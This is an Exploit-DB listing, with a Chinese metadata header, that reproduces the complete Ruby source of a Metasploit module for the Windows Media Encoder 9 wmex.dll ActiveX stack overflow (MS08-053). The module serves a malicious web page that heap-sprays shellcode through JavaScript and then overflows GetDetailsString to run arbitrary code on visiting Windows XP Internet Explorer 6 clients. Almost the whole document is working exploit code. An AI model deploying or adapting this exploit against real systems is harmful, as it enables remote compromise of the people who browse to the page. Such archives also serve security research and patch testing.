标题: Microsoft Windows Media Encoder 9 - 'wmex.dll' ActiveX Buffer Overflow (MS08-053) (Metasploit) EDB-ID: 16521 CVE: 2008-3008 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ms08_053_mediaencoder.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Windows Media Encoder 9. When
    sending an overly long string to the GetDetailsString() method of wmex.dll
    an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-3008' ],
     [ 'OSVDB', '47962' ],
     [ 'BID', '31065' ],
     [ 'MSB', 'MS08-053' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ]
    ],
   'DisclosureDate' => 'Sep 9 2008',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Create some nops.
  nops    = Rex::Text.to_unescape(make_nops(4))

  # Set the return.
  ret     = Rex::Text.to_unescape([target.ret].pack('V'))

  # Randomize the javascript variable names.
  vname  = rand_text_alpha(rand(100) + 1)
  var_i  = rand_text_alpha(rand(30)  + 2)
  rand1  = rand_text_alpha(rand(100) + 1)
  rand2  = rand_text_alpha(rand(100) + 1)
  rand3  = rand_text_alpha(rand(100) + 1)
  rand4  = rand_text_alpha(rand(100) + 1)
  rand5  = rand_text_alpha(rand(100) + 1)
  rand6  = rand_text_alpha(rand(100) + 1)
  rand7  = rand_text_alpha(rand(100) + 1)
  rand8  = rand_text_alpha(rand(100) + 1)

  content = %Q|
  <html>
   <object id='#{vname}' classid='clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C'></object>
   <script language="JavaScript">
   var #{rand1} = unescape('#{shellcode}');
   var #{rand2} = unescape('#{nops}');
   var #{rand3} = 20;
   var #{rand4} = #{rand3} + #{rand1}.length;
   while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
   var #{rand5} = #{rand2}.substring(0,#{rand4});
   var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
   while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
   var #{rand7} = new Array();
   for (#{var_i} = 0; #{var_i} < 600; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
   var #{rand8} = "";
   for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
   #{vname}.GetDetailsString(#{rand8}, 1);
   </script>
  </html>
   |

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16521